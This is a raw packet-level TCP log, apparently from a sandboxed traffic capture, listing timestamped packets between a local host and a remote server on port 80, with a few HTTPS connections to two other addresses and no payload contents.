Nov 19, 2024 01:01:44.853722095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.853751898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.853754997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.853766918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.853790045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.853790998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.853826046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.853842974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.853859901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.853868961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.853894949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.853926897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.853929043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.853943110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.853962898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.853964090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.854046106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.856424093 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.856451988 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.856460094 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.856491089 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.856545925 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.856566906 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.856575012 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.856606960 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.856617928 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.857516050 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.857533932 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.857623100 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.857630968 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.857742071 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.882163048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882181883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882194042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882204056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882215977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882234097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882278919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882307053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882318974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882328987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882339954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882350922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882352114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882363081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882369041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882376909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882386923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882400990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882411957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882427931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882447958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882503986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882515907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882534981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882540941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882544994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882545948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882554054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882591963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882673979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882685900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882726908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.882817030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.882858992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.883029938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.883039951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.883074999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.884000063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.884064913 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.884192944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.884203911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.884268999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.884342909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.884469032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.884469032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.884469986 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.884551048 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.884593010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.884625912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.884634018 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.884685993 CET	49948	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.884730101 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.884743929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.884799004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.884850979 CET	49948	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.884891987 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.884957075 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.884978056 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.884979010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885032892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885052919 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.885065079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885077000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885118008 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.885118008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885129929 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.885175943 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.885216951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885256052 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.885262966 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.885272026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885314941 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.885370970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885381937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885392904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885404110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885410070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885415077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885421038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885423899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885427952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885437965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885494947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885494947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885509014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885519981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885529995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885539055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885544062 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.885549068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885550022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885561943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885571957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885575056 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.885577917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885584116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885593891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885602951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885607004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885612965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885623932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885626078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885633945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885644913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885654926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885657072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885673046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885684013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885687113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885694027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885704994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885714054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885715008 CET	49948	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.885723114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885729074 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.885734081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885739088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885739088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885746956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885756016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885759115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885770082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885777950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885780096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885791063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885801077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885807991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885812044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885826111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885835886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885842085 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.885843039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885848999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885849953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885853052 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.885859966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885869980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885879040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885880947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885885954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885895967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885907888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885919094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885922909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885929108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885930061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885940075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885951042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885957003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885961056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885977030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885977983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.885987997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.885991096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886003017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886013031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886022091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886030912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886040926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886040926 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.886040926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886054039 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.886054039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886065960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886066914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886079073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886081934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886089087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886099100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886107922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886117935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886121035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886132956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886142969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886152029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886162043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886169910 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:44.886172056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886173010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886173010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886181116 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:44.886188030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886198997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886207104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886208057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886219025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886229038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886238098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886238098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886251926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886261940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886271954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886274099 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886282921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886296034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886301041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886305094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886316061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886324883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886327982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886337042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886347055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886348009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886357069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886368036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886368036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886378050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886383057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886389017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886399031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886409044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886418104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886423111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886431932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886440039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886442900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886454105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886456966 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886470079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.886476994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886501074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.886523008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915241003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915286064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915323019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915348053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915359974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915404081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915438890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915441036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915476084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915477037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915501118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915513039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915524006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915554047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915555954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915607929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915610075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915643930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915648937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915678024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915687084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915709972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915762901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915766001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915803909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915812016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915841103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915848970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915878057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915887117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.915934086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915968895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.915982962 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916004896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916024923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916039944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916084051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916090965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916110039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916127920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916131973 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916163921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916202068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916218042 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916253090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916255951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916294098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916328907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916336060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916366100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916378021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916402102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916416883 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916446924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916455984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916491985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916527987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916539907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916563034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916575909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916604996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916635036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916652918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916659117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916727066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916760921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916778088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916795969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916798115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916816950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916831970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916841030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916867971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916886091 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916910887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916918039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.916960001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.916976929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917013884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917025089 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917057037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917068958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917102098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917130947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917155027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917171001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917206049 CET	80	49889	185.215.113.206	192.168.2.6
